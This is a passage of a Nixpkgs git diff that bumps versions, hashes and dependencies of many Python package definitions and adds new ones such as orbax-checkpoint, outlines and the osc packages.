b/pkgs/development/python-modules/opower/default.nix @@ -5,13 +5,14 @@ , fetchFromGitHub , pyotp , pytestCheckHook +, python-dotenv , pythonOlder , setuptools }: buildPythonPackage rec { pname = "opower"; - version = "0.3.0"; + version = "0.4.0"; pyproject = true; disabled = pythonOlder "3.9"; @@ -20,7 +21,7 @@ buildPythonPackage rec { owner = "tronikos"; repo = "opower"; rev = "refs/tags/v${version}"; - hash = "sha256-YqNHjGJ0BkF8/1LVDqbw9QoJgPgwbA1sIPJUuP4TTJY="; + hash = "sha256-O+yIxEFqD6hel1H9aUnSz/wJoEhVrg6DDZptNcJVkSw="; }; nativeBuildInputs = [ @@ -31,6 +32,7 @@ buildPythonPackage rec { aiohttp arrow pyotp + python-dotenv ]; nativeCheckInputs = [ diff --git a/pkgs/development/python-modules/optimum/default.nix b/pkgs/development/python-modules/optimum/default.nix index ad542017d1f03..7b6be6027a6e1 100644 --- a/pkgs/development/python-modules/optimum/default.nix +++ b/pkgs/development/python-modules/optimum/default.nix @@ -22,7 +22,7 @@ buildPythonPackage rec { pname = "optimum"; - version = "1.16.2"; + version = "1.17.1"; format = "setuptools"; disabled = pythonOlder "3.7"; @@ -31,7 +31,7 @@ buildPythonPackage rec { owner = "huggingface"; repo = "optimum"; rev = "refs/tags/v${version}"; - hash = "sha256-bEwCUPZJT1UTD8mQJKg+Nwag6kpn4076uyKocKI/+/M="; + hash = "sha256-21y7pFRCZqwNaZR+TcXH2KIK5IZuLVq0wgIQqByyEf8="; }; propagatedBuildInputs = [ diff --git a/pkgs/development/python-modules/oralb-ble/default.nix b/pkgs/development/python-modules/oralb-ble/default.nix index 5eb5d0ce83fea..08b0abb2ded85 100644 --- a/pkgs/development/python-modules/oralb-ble/default.nix +++ b/pkgs/development/python-modules/oralb-ble/default.nix @@ -1,4 +1,5 @@ { lib +, bleak , bleak-retry-connector , bluetooth-data-tools , bluetooth-sensor-state-data @@ -6,29 +7,36 @@ , fetchFromGitHub , home-assistant-bluetooth , poetry-core +, pytest-asyncio , pytestCheckHook , pythonOlder }: buildPythonPackage rec { pname = "oralb-ble"; - version = "0.17.6"; - format = "pyproject"; + version = "0.18.0"; + pyproject = true; disabled = pythonOlder "3.9"; src = fetchFromGitHub { owner = "Bluetooth-Devices"; - repo = pname; + repo = "oralb-ble"; rev = "refs/tags/v${version}"; - hash = "sha256-6LnZ+Y68sl0uA5i764n4fFJnPeo+bAi/xgEvTK6LkXY="; + hash = "sha256-e6L8HXpqOAHnEktIJ1N1atC5QXno669W3c/S7cISa48="; }; + postPatch = '' + substituteInPlace pyproject.toml \ + --replace-fail " --cov=oralb_ble --cov-report=term-missing:skip-covered" "" + ''; + nativeBuildInputs = [ poetry-core ]; propagatedBuildInputs = [ + bleak bleak-retry-connector bluetooth-data-tools bluetooth-sensor-state-data @@ -36,18 +44,19 @@ buildPythonPackage rec { ]; nativeCheckInputs = [ + pytest-asyncio pytestCheckHook ]; - postPatch = '' - substituteInPlace pyproject.toml \ - --replace " --cov=oralb_ble --cov-report=term-missing:skip-covered" "" - ''; - pythonImportsCheck = [ "oralb_ble" ]; + disabledTests = [ + # Test is outdated, TypeError: BLEDevice.__init__() missing 2 required... + "test_async_poll" + ]; + meta = with lib; { description = "Library for Oral B BLE devices"; homepage = "https://github.com/Bluetooth-Devices/oralb-ble"; diff --git a/pkgs/development/python-modules/orbax-checkpoint/default.nix b/pkgs/development/python-modules/orbax-checkpoint/default.nix new file mode 100644 index 0000000000000..0f9d467335ce2 --- /dev/null +++ b/pkgs/development/python-modules/orbax-checkpoint/default.nix @@ -0,0 +1,78 @@ +{ lib +, absl-py +, buildPythonPackage +, cached-property +, etils +, fetchPypi +, flit-core +, importlib-resources +, jax +, jaxlib +, msgpack +, nest-asyncio +, numpy +, protobuf +, pytest-xdist +, pytestCheckHook +, pythonOlder +, pyyaml +, tensorstore +, typing-extensions +}: + +buildPythonPackage rec { + pname = "orbax-checkpoint"; + version = "0.5.3"; + pyproject = true; + + disabled = pythonOlder "3.9"; + + src = fetchPypi { + pname = "orbax_checkpoint"; + inherit version; + hash = "sha256-FXKQTLv+hROSfg2A+AtzDg7y9oAzLTwoENhENTKTi0U="; + }; + + nativeBuildInputs = [ + flit-core + ]; + + propagatedBuildInputs = [ + absl-py + cached-property + etils + importlib-resources + jax + jaxlib + msgpack + nest-asyncio + numpy + protobuf + pyyaml + tensorstore + typing-extensions + ]; + + nativeCheckInputs = [ + pytest-xdist + pytestCheckHook + ]; + + pythonImportsCheck = [ + "orbax" + ]; + + disabledTestPaths = [ + # Circular dependency flax + "orbax/checkpoint/transform_utils_test.py" + "orbax/checkpoint/utils_test.py" + ]; + + meta = with lib; { + description = "Orbax provides common utility libraries for JAX users"; + homepage = "https://github.com/google/orbax/tree/main/checkpoint"; + changelog = "https://github.com/google/orbax/blob/${version}/CHANGELOG.md"; + license = licenses.asl20; + maintainers = with maintainers; [fab ]; + }; +} diff --git a/pkgs/development/python-modules/orjson/default.nix b/pkgs/development/python-modules/orjson/default.nix index fb81938bc0917..b707a9e83ebb7 100644 --- a/pkgs/development/python-modules/orjson/default.nix +++ b/pkgs/development/python-modules/orjson/default.nix @@ -1,39 +1,48 @@ { lib , stdenv +, buildPythonPackage +, fetchFromGitHub , pythonOlder + +# build-system , rustPlatform -, fetchFromGitHub -, buildPythonPackage , cffi + +# native dependencies , libiconv + +# tests , numpy , psutil , pytestCheckHook , python-dateutil , pytz , xxhash +, python }: buildPythonPackage rec { pname = "orjson"; - version = "3.9.10"; - format = "pyproject"; + version = "3.9.13"; + pyproject = true; disabled = pythonOlder "3.7"; src = fetchFromGitHub { owner = "ijl"; - repo = pname; + repo = "orjson"; rev = "refs/tags/${version}"; - hash = "sha256-MkcuayNDt7/GcswXoFTvzuaZzhQEQV+V7OfKqgJwVIQ="; + hash = "sha256-p6nkzEHFTKCBr7Wte2wvzh1TlzwweADZON8gm2pT224="; }; cargoDeps = rustPlatform.fetchCargoTarball { inherit src; name = "${pname}-${version}"; - hash = "sha256-2eRV+oZQvsWWJ4AUTeuE0CHtTHC6jNZiX/y5uXuwvns="; + hash = "sha256-2c8XgQILhAvR8HUqoEIOfYeiV1lR9UyIJXWDuNeVZsE="; }; + maturinBuildFlags = [ "--interpreter ${python.executable}" ]; + nativeBuildInputs = [ cffi ] ++ (with rustPlatform; [ diff --git a/pkgs/development/python-modules/osc-diagram/default.nix b/pkgs/development/python-modules/osc-diagram/default.nix new file mode 100644 index 0000000000000..6f9b9b68b4680 --- /dev/null +++ b/pkgs/development/python-modules/osc-diagram/default.nix @@ -0,0 +1,39 @@ +{ + lib + , buildPythonPackage + , diagrams + , fetchFromGitHub + , osc-sdk-python + , setuptools +}: + +buildPythonPackage { + pname = "osc-diagram"; + version = "unstable-2023-08-07"; + pyproject = true; + + src = fetchFromGitHub { + owner = "outscale-mgo"; + repo = "osc-diagram"; + rev = "8531233b8a95da03aca9106064b91479197f888d"; + hash = "sha256-2Iaar2twemw4xv1GGqHd3xiNCHrZLsZXtP7e9tNVpEU="; + }; + + nativeBuildInputs = [ + setuptools + ]; + + propagatedBuildInputs = [ + diagrams + osc-sdk-python + ]; + + pythonImportsCheck = [ "osc_diagram" ]; + + meta = with lib; { + description = "Build Outscale cloud diagrams"; + homepage = "https://github.com/outscale-mgo/osc-diagram"; + license = licenses.free; + maintainers = with maintainers; [ nicolas-goudry ]; + }; +} diff --git a/pkgs/development/python-modules/osc-sdk-python/default.nix b/pkgs/development/python-modules/osc-sdk-python/default.nix new file mode 100644 index 0000000000000..74d617efe5008 --- /dev/null +++ b/pkgs/development/python-modules/osc-sdk-python/default.nix @@ -0,0 +1,57 @@ +{ + lib + , buildPythonPackage + , fetchFromGitHub + , pytestCheckHook + , requests + , ruamel-yaml + , setuptools +}: + +buildPythonPackage rec { + pname = "osc-sdk-python"; + version = "0.27.0"; + pyproject = true; + + src = fetchFromGitHub { + owner = "outscale"; + repo = "osc-sdk-python"; + rev = "v${version}"; + hash = "sha256-dp4yE8cTeXAPoixJ6ZtsvcTSKdYpDIebHkddUiqJe5Q="; + fetchSubmodules = true; + }; + + nativeBuildInputs = [ + setuptools + ]; + + propagatedBuildInputs = [ + requests + ruamel-yaml + ]; + + nativeCheckInputs = [ + pytestCheckHook + ]; + + postPatch = '' + substituteInPlace setup.py \ + --replace "ruamel.yaml==0.17.32" "ruamel.yaml" + ''; + + # Only keep test not requiring access and secret keys + pytestFlagsArray = [ + "tests/test_net.py" + ]; + + pythonImportsCheck = [ + "osc_sdk_python" + ]; + + meta = with lib; { + description = "SDK to perform actions on Outscale API"; + homepage = "http://github.com/outscale/osc-sdk-python"; + license = licenses.bsd3; + maintainers = with maintainers; [ nicolas-goudry ]; + }; +} diff --git a/pkgs/development/python-modules/osc/default.nix b/pkgs/development/python-modules/osc/default.nix index 4055fc176885f..b2e50a316a374 100644 --- a/pkgs/development/python-modules/osc/default.nix +++ b/pkgs/development/python-modules/osc/default.nix @@ -7,6 +7,7 @@ , lib , rpm , urllib3 +, keyring }: buildPythonPackage rec { @@ -23,7 +24,7 @@ buildPythonPackage rec { buildInputs = [ bashInteractive ]; # needed for bash-completion helper nativeCheckInputs = [ rpm diffstat ]; - propagatedBuildInputs = [ urllib3 cryptography ]; + propagatedBuildInputs = [ urllib3 cryptography keyring ]; postInstall = '' install -D -m444 contrib/osc.fish $out/etc/fish/completions/osc.fish diff --git a/pkgs/development/python-modules/oscscreen/default.nix b/pkgs/development/python-modules/oscscreen/default.nix new file mode 100644 index 0000000000000..c0eab771d148b --- /dev/null +++ b/pkgs/development/python-modules/oscscreen/default.nix @@ -0,0 +1,33 @@ +{ + lib + , buildPythonPackage + , fetchFromGitHub + , setuptools +}: + +buildPythonPackage rec { + pname = "oscscreen"; + version = "unstable-2023-03-23"; + pyproject = true; + + src = fetchFromGitHub { + owner = "outscale"; + repo = "npyscreen"; + rev = "e2a97e4a201e2d7d5de3ee033071a7f93592b422"; + hash = "sha256-0Im1kVFa11AW+7Oe95XvkfxSlaux6bkKaHSQy6hJCN8="; + }; + + nativeBuildInputs = [ + setuptools + ]; + + pythonImportsCheck = [ "oscscreen" ]; + + meta = with lib; { + description = "Framework for developing console applications using Python and curses"; + homepage = "http://github.com/outscale/npyscreen"; + changelog = "https://github.com/outscale/npyscreen/blob/${src.rev}/CHANGELOG"; + license = licenses.bsd2; + maintainers = with maintainers; [ nicolas-goudry ]; + }; +} diff --git a/pkgs/development/python-modules/oslo-concurrency/default.nix b/pkgs/development/python-modules/oslo-concurrency/default.nix index ef388c34a18f3..a42e9950066c2 100644 --- a/pkgs/development/python-modules/oslo-concurrency/default.nix +++ b/pkgs/development/python-modules/oslo-concurrency/default.nix @@ -18,13 +18,13 @@ buildPythonPackage rec { pname = "oslo-concurrency"; - version = "5.3.0"; + version = "6.0.0"; format = "setuptools"; src = fetchPypi { pname = "oslo.concurrency"; inherit version; - hash = "sha256-yqaSBw0hVZ73H/WQeAb3USoXgsRby1ChlP4+DNeNfe0="; + hash = "sha256-tS8CtORvXydLkfuOG/xcv5pBjfzUqDvggDRUlePSboo="; }; postPatch = '' diff --git a/pkgs/development/python-modules/oslo-context/default.nix b/pkgs/development/python-modules/oslo-context/default.nix index 902c244c488b9..ce9b5d6dcf994 100644 --- a/pkgs/development/python-modules/oslo-context/default.nix +++ b/pkgs/development/python-modules/oslo-context/default.nix @@ -2,11 +2,11 @@ buildPythonPackage rec { pname = "oslo.context"; - version = "5.3.0"; + version = "5.5.0"; src = fetchPypi { inherit pname version; - hash = "sha256-xRBxQcYotq5W1P62MiucSnAJL9ahgekfq+relKCeTjg="; + hash = "sha256-6uAxeymSjxk030xguGD+hiUkfLKXxcxi/vjrWCexL6w="; }; postPatch = '' diff --git a/pkgs/development/python-modules/oslo-db/default.nix b/pkgs/development/python-modules/oslo-db/default.nix index 0e7a5abedda57..b4dce2cc09b5e 100644 --- a/pkgs/development/python-modules/oslo-db/default.nix +++ b/pkgs/development/python-modules/oslo-db/default.nix @@ -20,13 +20,13 @@ buildPythonPackage rec { pname = "oslo-db"; - version = "14.1.0"; + version = "15.0.0"; pyproject = true; src = fetchPypi { pname = "oslo.db"; inherit version; - hash = "sha256-UFilywqwhXaGnle8K5VNdZqMvhklkTMdHPMDMvz62h8="; + hash = "sha256-6QJDUgX1xQtw7mNYY8i06lS9Hr4ABpXAZeMN1C2Xb/o="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/oslo-log/default.nix b/pkgs/development/python-modules/oslo-log/default.nix index 64df3dc82e478..d8904b0cdefc4 100644 --- a/pkgs/development/python-modules/oslo-log/default.nix +++ b/pkgs/development/python-modules/oslo-log/default.nix @@ -17,7 +17,7 @@ buildPythonPackage rec { pname = "oslo-log"; - version = "5.4.0"; + version = "5.5.0"; format = "setuptools"; disabled = pythonOlder "3.8"; @@ -25,7 +25,7 @@ buildPythonPackage rec { src = fetchPypi { pname = "oslo.log"; inherit version; - hash = "sha256-LrNVtYVw8lgR2nb6gUU7h1x8lEoZoj0sMFtKTf670iM="; + hash = "sha256-TO3RZpx94o2OZrZ6X21sb+g5KFNfqHzWm/ZhG1n1Z+c="; }; propagatedBuildInputs = [ diff --git a/pkgs/development/python-modules/oslo-serialization/default.nix b/pkgs/development/python-modules/oslo-serialization/default.nix index 9a3677ccfd6df..1399503c0f9d9 100644 --- a/pkgs/development/python-modules/oslo-serialization/default.nix +++ b/pkgs/development/python-modules/oslo-serialization/default.nix @@ -11,13 +11,13 @@ buildPythonPackage rec { pname = "oslo-serialization"; - version = "5.3.0"; + version = "5.4.0"; format = "setuptools"; src = fetchPypi { pname = "oslo.serialization"; inherit version; - hash = "sha256-IoiY9PM7feq8dCibMrvTAqZZw5z23akEhRD5MPxPdu0="; + hash = "sha256-MVyzRl6ZxoXLCRuQNly3Ab7nFA4gS6Pl/C2KILTsbnY="; }; postPatch = '' diff --git a/pkgs/development/python-modules/osmnx/default.nix b/pkgs/development/python-modules/osmnx/default.nix index fec12037e20b5..0800d71a8dfbd 100644 --- a/pkgs/development/python-modules/osmnx/default.nix +++ b/pkgs/development/python-modules/osmnx/default.nix @@ -4,6 +4,7 @@ , folium , gdal , geopandas +, hatchling , matplotlib , networkx , numpy @@ -19,18 +20,22 @@ buildPythonPackage rec { pname = "osmnx"; - version = "1.3.0"; - format = "setuptools"; + version = "1.9.1"; + pyproject = true; disabled = pythonOlder "3.8"; src = fetchFromGitHub { owner = "gboeing"; - repo = pname; + repo = "osmnx"; rev = "refs/tags/v${version}"; - hash = "sha256-17duWrg48Qb4ojYYFX4HBpPLeVgHn1WV84KVATvBnzY="; + hash = "sha256-od/0IuiK2CvrD0lfcTzkImK/5hcm6m61ULYzEtv/YeA="; }; + nativeBuildInputs = [ + hatchling + ]; + propagatedBuildInputs = [ geopandas matplotlib @@ -55,7 +60,7 @@ buildPythonPackage rec { ]; meta = with lib; { - description = "A package to easily download, construct, project, visualize, and analyze complex street networks from OpenStreetMap with NetworkX."; + description = "Package to easily download, construct, project, visualize, and analyze complex street networks from OpenStreetMap with NetworkX"; homepage = "https://github.com/gboeing/osmnx"; changelog = "https://github.com/gboeing/osmnx/blob/v${version}/CHANGELOG.md"; license = licenses.mit; diff --git a/pkgs/development/python-modules/osmpythontools/default.nix b/pkgs/development/python-modules/osmpythontools/default.nix index 2c8a557e6ef72..1e4f8fd9f822a 100644 --- a/pkgs/development/python-modules/osmpythontools/default.nix +++ b/pkgs/development/python-modules/osmpythontools/default.nix @@ -56,6 +56,6 @@ buildPythonPackage rec { homepage = "https://github.com/mocnik-science/osm-python-tools"; license = licenses.gpl3Only; changelog = "https://raw.githubusercontent.com/mocnik-science/osm-python-tools/v${version}/version-history.md"; - maintainers = with maintainers; [ das-g ]; + maintainers = with maintainers; teams.geospatial.members ++ [ das-g ]; }; } diff --git a/pkgs/development/python-modules/outlines/default.nix b/pkgs/development/python-modules/outlines/default.nix new file mode 100644 index 0000000000000..23ee7852f43be --- /dev/null +++ b/pkgs/development/python-modules/outlines/default.nix @@ -0,0 +1,62 @@ +{ lib +, buildPythonPackage +, fetchFromGitHub +, setuptools +, setuptools-scm +, interegular +, cloudpickle +, diskcache +, joblib +, jsonschema +, pydantic +, lark +, nest-asyncio +, numba +, scipy +, torch +, transformers +}: + +buildPythonPackage rec { + pname = "outlines"; + version = "0.0.34"; + pyproject = true; + + src = fetchFromGitHub { + owner = "outlines-dev"; + repo = pname; + rev = "refs/tags/${version}"; + hash = "sha256-iIlthrhmCm3n0PwUSa1n7CL04sDc1Cs+rVboPY4nH78="; + }; + + nativeBuildInputs = [ + setuptools + setuptools-scm + ]; + + propagatedBuildInputs = [ + interegular + cloudpickle + diskcache + joblib + jsonschema + pydantic + lark + nest-asyncio + numba + scipy + torch + transformers + ]; + + pythonImportsCheck = [ + "outlines" + ]; + + meta = with lib; { + description = "Structured text generation"; + homepage = "https://github.com/outlines-dev/outlines"; + license = licenses.asl20; + maintainers = with maintainers; [ lach ]; + }; +} diff --git a/pkgs/development/python-modules/overrides/default.nix b/pkgs/development/python-modules/overrides/default.nix index 8109a428140d9..220f7dcbed147 100644 --- a/pkgs/development/python-modules/overrides/default.nix +++ b/pkgs/development/python-modules/overrides/default.nix @@ -4,22 +4,27 @@ , pythonAtLeast , pythonOlder , pytestCheckHook +, setuptools }: buildPythonPackage rec { pname = "overrides"; - version = "7.4.0"; - format = "setuptools"; + version = "7.6.0"; + pyproject = true; disabled = pythonOlder "3.7"; src = fetchFromGitHub { owner = "mkorpela"; - repo = pname; + repo = "overrides"; rev = "refs/tags/${version}"; - hash = "sha256-7fbuBcb47BTVxAoKokZmGdIwHSyfyfSiCAZ4XZjWz60="; + hash = "sha256-UdahbhmRfuxKTxb6Afjny/hMgXX1UuDUrIcLjZ0Jtak="; }; + nativeBuildInputs = [ + setuptools + ]; + nativeCheckInputs = [ pytestCheckHook ]; diff --git a/pkgs/development/python-modules/pandas-stubs/default.nix b/pkgs/development/python-modules/pandas-stubs/default.nix index 6fa2978ceb4ba..c0a753f5c02a1 100644 --- a/pkgs/development/python-modules/pandas-stubs/default.nix +++ b/pkgs/development/python-modules/pandas-stubs/default.nix @@ -27,7 +27,7 @@ buildPythonPackage rec { pname = "pandas-stubs"; - version = "2.1.4.231227"; + version = "2.2.0.240218"; pyproject = true; disabled = pythonOlder "3.9"; @@ -36,7 +36,7 @@ buildPythonPackage rec { owner = "pandas-dev"; repo = "pandas-stubs"; rev = "refs/tags/v${version}"; - hash = "sha256-AkgMesDesKkVkwxNnGYG71IuIgF3G+BecpfWNWVucC8="; + hash = "sha256-416vyaHcSfTfkSNKZ05edozfsMmNKcpOZAoPenCLFzQ="; }; nativeBuildInputs = [ @@ -70,55 +70,11 @@ buildPythonPackage rec { disabledTests = [ # AttributeErrors, missing dependencies, error and warning checks - "test_aggregate_frame_combinations" - "test_aggregate_series_combinations" - "test_all_read_without_lxml_dtype_backend" - "test_arrow_dtype" - "test_attribute_conflict_warning" - "test_categorical_conversion_warning" - "test_clipboard_iterator" - "test_clipboard" - "test_closed_file_error" - "test_compare_150_changes" - "test_crosstab_args" - "test_css_warning" - "test_data_error" - "test_database_error" - "test_dummies" - "test_from_dummies_args" - "test_hdf_context_manager" - "test_hdfstore" - "test_incompatibility_warning" - "test_index_astype" - "test_indexing_error" - "test_invalid_column_name" - "test_isetframe" - "test_join" - "test_numexpr_clobbering_error" - "test_orc_buffer" - "test_orc_bytes" - "test_orc_columns" - "test_orc_path" + "test_types_groupby" + "test_frame_groupby_resample" "test_orc" - "test_possible_data_loss_error" - "test_possible_precision_loss" - "test_pyperclip_exception" - "test_quantile_150_changes" - "test_read_hdf_iterator" - "test_read_sql_via_sqlalchemy_connection" - "test_read_sql_via_sqlalchemy_engine" - "test_resample_150_changes" - "test_reset_index_150_changes" - "test_reset_index" - "test_rolling_step_method" - "test_setting_with_copy_error" - "test_setting_with_copy_warning" + "test_all_read_without_lxml_dtype_backend" "test_show_version" - "test_specification_error" - "test_types_assert_series_equal" - "test_types_rank" - "test_undefined_variable_error" - "test_value_label_type_mismatch" ] ++ lib.optionals stdenv.isDarwin [ "test_plotting" # Fatal Python error: Illegal instruction ]; diff --git a/pkgs/development/python-modules/pandas/default.nix b/pkgs/development/python-modules/pandas/default.nix index 7351e6536416a..30d35747ee62f 100644 --- a/pkgs/development/python-modules/pandas/default.nix +++ b/pkgs/development/python-modules/pandas/default.nix @@ -6,7 +6,6 @@ , pythonOlder # build-system -, cython , cython_3 , meson-python , meson @@ -65,7 +64,7 @@ let pandas = buildPythonPackage rec { pname = "pandas"; - version = "2.1.3"; + version = "2.2.0"; pyproject = true; disabled = pythonOlder "3.9"; @@ -74,19 +73,18 @@ let pandas = buildPythonPackage rec { owner = "pandas-dev"; repo = "pandas"; rev = "refs/tags/v${version}"; - hash = "sha256-okGYzPJC3mpG+Sq4atjWwLlocUDnpjgGRPmQ+4ehQX0="; + hash = "sha256-PMrqniyyFYRnAeFBruPrTrGKzX2dRxMRct8AHeghstA="; }; postPatch = '' substituteInPlace pyproject.toml \ - --replace "Cython>=0.29.33,<3" "Cython" \ - --replace "meson-python==0.13.1" "meson-python>=0.13.1" \ - --replace "meson==1.2.1" "meson>=1.2.1" + --replace-fail "Cython==3.0.5" "Cython>=3.0.5" \ + --replace-fail "meson-python==0.13.1" "meson-python>=0.13.1" \ + --replace-fail "meson==1.2.1" "meson>=1.2.1" ''; nativeBuildInputs = [ - # TODO: hack to support pandas on python3.12, remove with pandas 2.2.0 - (if pythonAtLeast "3.12" then cython_3 else cython) + cython_3 meson-python meson numpy diff --git a/pkgs/development/python-modules/param/default.nix b/pkgs/development/python-modules/param/default.nix index f6bbbf3b78ffb..638a3182ca1b5 100644 --- a/pkgs/development/python-modules/param/default.nix +++ b/pkgs/development/python-modules/param/default.nix @@ -40,6 +40,10 @@ buildPythonPackage rec { pytestCheckHook ]; + pytestFlagsArray = [ + "-W" "ignore::DeprecationWarning" + ]; + pythonImportsCheck = [ "param" ]; diff --git a/pkgs/development/python-modules/partd/default.nix b/pkgs/development/python-modules/partd/default.nix index 728ed09b735c0..b5f8afce9d3b2 100644 --- a/pkgs/development/python-modules/partd/default.nix +++ b/pkgs/development/python-modules/partd/default.nix @@ -1,14 +1,24 @@ { lib , buildPythonPackage -, fetchPypi -, isPy27 +, fetchFromGitHub +, fetchpatch2 +, pythonOlder + +# build-system , setuptools -, pytest + +# dependencies , locket +, toolz + +# optional-dependencies +, blosc2 , numpy , pandas , pyzmq -, toolz + +# tests +, pytestCheckHook }: buildPythonPackage rec { @@ -16,25 +26,44 @@ buildPythonPackage rec { version = "1.4.1"; pyproject = true; - disabled = isPy27; + disabled = pythonOlder "3.7"; - src = fetchPypi { - inherit pname version; - hash = "sha256-VsJd1J5v6lcn5zEgPEZsbgkvMI2PACThmdAvaqIWf2c="; + src = fetchFromGitHub { + owner = "dask"; + repo = "partd"; + rev = "refs/tags/${version}"; + hash = "sha256-EK+HNSPh2b7jwpc6jwH/n+6HDgHhRfBeaRuiDIWVG28="; }; + patches = [ + (fetchpatch2 { + # python 3.12 support; https://github.com/dask/partd/pull/70 + url = "https://github.com/dask/partd/pull/70/commits/c96a034367cb9fee0a0900f758b802aeef8a8a41.patch"; + hash = "sha256-QlSIrFQQQo9We/gf7WSgmWrxdt3rxXQcyvJnFm8R5cM="; + }) + ]; + nativeBuildInputs = [ setuptools ]; - nativeCheckInputs = [ pytest ]; + propagatedBuildInputs = [ + locket + toolz + ]; - propagatedBuildInputs = [ locket numpy pandas pyzmq toolz ]; + passthru.optional-dependencies = { + complete = [ + blosc2 + numpy + pandas + pyzmq + ]; + }; - checkPhase = '' - rm partd/tests/test_zmq.py # requires network & fails - py.test -k "not test_serialize" - ''; + nativeCheckInputs = [ + pytestCheckHook + ]; meta = { description = "Appendable key-value storage"; diff --git a/pkgs/development/python-modules/peaqevcore/default.nix b/pkgs/development/python-modules/peaqevcore/default.nix index 3312b88030adc..16b73cb1792b3 100644 --- a/pkgs/development/python-modules/peaqevcore/default.nix +++ b/pkgs/development/python-modules/peaqevcore/default.nix @@ -2,24 +2,29 @@ , buildPythonPackage , fetchPypi , pythonOlder +, setuptools }: buildPythonPackage rec { pname = "peaqevcore"; - version = "19.6.6"; - format = "setuptools"; + version = "19.7.7"; + pyproject = true; disabled = pythonOlder "3.7"; src = fetchPypi { inherit pname version; - hash = "sha256-4T30jiMRAbPDgGW8Zcolj1k3UpKN1/juXtYSHrjO804="; + hash = "sha256-HJ+8EpxcMhUPJILapNk9esA0iUm8PiHPDm3MmBQDny4="; }; postPatch = '' sed -i "/extras_require/d" setup.py ''; + nativeBuildInputs = [ + setuptools + ]; + # Tests are not shipped and source is not tagged # https://github.com/elden1337/peaqev-core/issues/4 doCheck = false; diff --git a/pkgs/development/python-modules/peft/default.nix b/pkgs/development/python-modules/peft/default.nix index 1345242c20510..d1936afe375ff 100644 --- a/pkgs/development/python-modules/peft/default.nix +++ b/pkgs/development/python-modules/peft/default.nix @@ -14,7 +14,7 @@ buildPythonPackage rec { pname = "peft"; - version = "0.7.1"; + version = "0.9.0"; format = "pyproject"; disabled = pythonOlder "3.8"; @@ -23,7 +23,7 @@ buildPythonPackage rec { owner = "huggingface"; repo = pname; rev = "refs/tags/v${version}"; - hash = "sha256-sdv9rMj5Qh2/QtBVSxHMAP/Tk+ZyrHtNfX/4q8/Qw3A="; + hash = "sha256-RdWCIR28OqmpA92/5OWA5sCCPQCAWpUzCZpkHvNMj6M="; }; nativeBuildInputs = [ setuptools ]; diff --git a/pkgs/development/python-modules/pendulum/default.nix b/pkgs/development/python-modules/pendulum/default.nix index cdc7ab035ed32..631494a1d9a3b 100644 --- a/pkgs/development/python-modules/pendulum/default.nix +++ b/pkgs/development/python-modules/pendulum/default.nix @@ -20,8 +20,8 @@ buildPythonPackage rec { export HOME=$TMPDIR ''; - nativeBuildInputs = [ poetry-core ]; - propagatedBuildInputs = [ python-dateutil pytzdata ] + build-system = [ poetry-core ]; + dependencies = [ python-dateutil pytzdata ] ++ lib.optional (pythonOlder "3.5") typing ++ lib.optionals (pythonOlder "3.8") [ importlib-metadata ]; diff --git a/pkgs/development/python-modules/persistent/default.nix b/pkgs/development/python-modules/persistent/default.nix index d2a5e61657604..5c7f27a5be311 100644 --- a/pkgs/development/python-modules/persistent/default.nix +++ b/pkgs/development/python-modules/persistent/default.nix @@ -10,14 +10,14 @@ buildPythonPackage rec { pname = "persistent"; - version = "5.1"; + version = "5.2"; format = "setuptools"; disabled = pythonOlder "3.7"; src = fetchPypi { inherit pname version; - hash = "sha256-l8zC+ibMm9zDvh/GWqT08or+UgTC1P0kpnRFkI23Rps="; + hash = "sha256-2+pdH/nbTkUco5vAtCqepTfmyskoKujAeA+4/64+yDQ="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/pex/default.nix b/pkgs/development/python-modules/pex/default.nix index a5c5ff601bcd1..6260a921ffa83 100644 --- a/pkgs/development/python-modules/pex/default.nix +++ b/pkgs/development/python-modules/pex/default.nix @@ -7,14 +7,14 @@ buildPythonPackage rec { pname = "pex"; - version = "2.1.162"; + version = "2.2.2"; pyproject = true; disabled = pythonOlder "3.7"; src = fetchPypi { inherit pname version; - hash = "sha256-XeAOEhmNEACr+KrIYaclDH7EW2XQeobIAQvm99hn24M="; + hash = "sha256-g5D9v1CZ70viP0C/9lWwJvterJ2KH3oUCKRsxEr9Neg="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/phonopy/default.nix b/pkgs/development/python-modules/phonopy/default.nix index 24a3f54f6b468..6afa9e1f5ff65 100644 --- a/pkgs/development/python-modules/phonopy/default.nix +++ b/pkgs/development/python-modules/phonopy/default.nix @@ -9,20 +9,25 @@ , spglib , pytestCheckHook , pythonOlder +, setuptools }: buildPythonPackage rec { pname = "phonopy"; - version = "2.21.0"; - format = "setuptools"; + version = "2.21.2"; + pyproject = true; disabled = pythonOlder "3.7"; src = fetchPypi { inherit pname version; - hash = "sha256-WAWxgLwChQrwutpRsJtDUoNnwek6RpZB+9JtUFdr/pw="; + hash = "sha256-3DCfMI41J/H9RjKj0376NnADp2VzHKnGcvgYoLnluTY="; }; + nativeBuildInputs = [ + setuptools + ]; + propagatedBuildInputs = [ h5py matplotlib diff --git a/pkgs/development/python-modules/phx-class-registry/default.nix b/pkgs/development/python-modules/phx-class-registry/default.nix index 0e14d34151a00..0997f7987ada8 100644 --- a/pkgs/development/python-modules/phx-class-registry/default.nix +++ b/pkgs/development/python-modules/phx-class-registry/default.nix @@ -7,14 +7,14 @@ buildPythonPackage rec { pname = "class-registry"; - version = "4.0.6"; + version = "4.1.0"; disabled = pythonOlder "3.5"; src = fetchFromGitHub { owner = "todofixthis"; repo = pname; rev = "refs/tags/${version}"; - hash = "sha256-kSEHgzBgnAq5rMv2HbmGl+9CUzsmzUzPQWr+5q8mcsA="; + hash = "sha256-kJbyUzyklVSvW6bBxTTTrY+WhfcV0GUf/+Pzyv+7sEA="; }; nativeCheckInputs = [ @@ -29,6 +29,6 @@ buildPythonPackage rec { description = "Factory and registry pattern for Python classes"; homepage = "https://class-registry.readthedocs.io/en/latest/"; license = licenses.mit; - maintainers = with maintainers; [ kevincox ]; + maintainers = with maintainers; [ hrdinka tomhoule ]; }; } diff --git a/pkgs/development/python-modules/pikepdf/default.nix b/pkgs/development/python-modules/pikepdf/default.nix index 386f64718eb09..81d981a5a1032 100644 --- a/pkgs/development/python-modules/pikepdf/default.nix +++ b/pkgs/development/python-modules/pikepdf/default.nix @@ -24,7 +24,7 @@ buildPythonPackage rec { pname = "pikepdf"; - version = "8.11.2"; + version = "8.12.0.post1"; pyproject = true; disabled = pythonOlder "3.8"; @@ -39,7 +39,7 